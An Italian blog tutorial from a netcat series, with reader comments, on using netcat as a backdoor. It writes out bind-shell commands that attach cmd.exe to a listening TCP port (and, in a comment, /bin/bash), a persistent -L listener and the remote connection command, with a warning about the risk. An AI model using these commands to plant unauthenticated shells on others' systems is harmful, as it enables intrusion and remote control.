In questo appuntamento della serie “Le 7 Vite di Netcat” si va decisamente sull’hackeresco, anche se in caso di estrema necessità si potrebbe ricorrere a questa tecnica anche per motivi leciti di amministrazione remota.
Cos’è una backdoor? Una “porta di servizio” che permette l’amministrazione remota del computer.
In genere dopo aver ottenuto l’accesso al computer l’hacker ha la necessità di tornare nel sistema in modo più agevole, oppure ha bisogno di un’interfaccia a linea di comando (shell) con la quale poter agire comodamente.
Abbiamo già visto che netcat può essere usato come server. In questo articolo vediamo come collegare a netcat in ascolto su di una porta Tcp la shell di sistema.
Per attivare netcat come backdoor usiamo il seguente comando:
nc -l -p 9999 -vv -e cmd.exe
Vediamo nel dettaglio. Il parametro -l lo abbiamo già visto nell’articolo sul trasferimento di file e dice a netcat di “ascoltare” sulla porta Tcp indicata dal parametro -p, in questo caso 9999 (valore arbitrario). Il cuore della tecnica è il parametro -e, che seguito da cmd.exe istruisce netcat a eseguire (-e ovvero exec) il comando specificato (cmd.exe, la shell di Windows) veicolando l’input/output attraverso netcat stesso.
Come ci si collega ad un host su cui è stata messa questa backdoor? Ma naturalmente con netcat!
Se il computer sotto controllo ha come indirizzo Ip 192.168.0.1, otterremo l’accesso remoto con il comando:
nc 192.168.0.1 9999 -vv
ci troveremo di fronte al prompt dei comandi di Windows; solo che questo prompt non è della nostra macchina, ma quello della macchina remota!
Per uscire dalla backdoor basta semplicemente digitare exit e la connessione si chiude. E qui c’è un problema.
Una volta chiusa la connessione in netcat remoto smette di ascoltare, semplicemente termina l’esecuzione; quindi non sarà più possibile collegarsi da remoto. Per aggirare questo problema ci viene in soccorso il parametro -L.
nc -L -p 9999 -vv > trojan <– notare la L maiuscola al posto di -l
Il parametro -L istruisce netcat a mantenere aperta la porta e restare in ascolto anche quando il programma eseguito con il comando -e viene interrotto. Così si potrà entrare e uscire dal sistema a piacere.
Un avvertimento necessario: questa tecnica è pericolosissima! Aprire una backdoor in questo modo, aprire una shell senza la protezione di una password è quasi un suicidio, significa spalancare una porta del sistema a chiunque. Se lo fate su un vostro sistema, se proprio dovete farlo, fatelo per periodi brevissimi e su porte non standard o non facilmente intuibili (9999 e 12345 non vanno benissimo).
Questo articolo fa parte della serie “Le 7 Vite di Netcat“. Potrai trovare altre informazioni su Netcat negli altri articoli della serie:
- Creare una backdoor con Netcat
Le Sette Vite di Netcat
Questo articolo è il primo di una serie dedicata a Netcat, il coltellino svizzero degli hacker, strumento... Netcat Come Scanner
In questa puntata della serie "Le 7 Vite di Netcat" presento come usare netcat come scanner. Fino ad... Trasferire File con Netcat
Quinto appuntamento della serie "Le 7 Vite di Netcat". In questo articolo presento come usare netcat... Back Channel con Netcat
Abbiamo visto come creare una backdoor con Netcat: si apre una porta Tcp e ci collega la shell di sistema,...


















apr 10, 2009 at 14:17:20
ottimo.. funziona anche sotto linux mettendo -e /bin/bash
non mi funziona il -L
comunque ottima guida veramente!
set 9, 2009 at 20:14:29
Quando esco da tutto la backdoor si chiude da sola??
lug 11, 2010 at 21:40:31
ciao ho scaricato dall articolo le 7 vite di net cat ma quando lancio i comandi dopo un paio di secondi si chiude se provo con un altro comando lo stesso come mai ??? potresti rispondermi in un commento per favore grazie mille ciaoo
lug 11, 2010 at 21:41:02
ha dimenticavo ho windows xp
lug 13, 2010 at 19:52:13
Ciao Crash. Sarà l’età, ma ti confesso che non ho capito qual’è il tuo problema
Se vuoi cerca di fornire maggiori dettagli, oppure se c’è qualche lettore che ha una risposta si faccia avanti…
dic 25, 2010 at 16:44:07
a me mi da messaggio di errore: scrivo il comando premo esegui e mi dice che nc non è riconoscibile come programma o file
dic 28, 2010 at 15:26:07
io ho un altro problema, funziona tutto ma nel momento in cui crasha sono costretto a premere ctrl+c per uscire dalla shell, a quel punto pero il serve netcat rimane in ascolto e io non posso piu connettermi fino al riavvio del server sulla macchina remota.. soluzioni???
Ps questo si verifica anche se non impartisco comandi per un certo periodo di tempo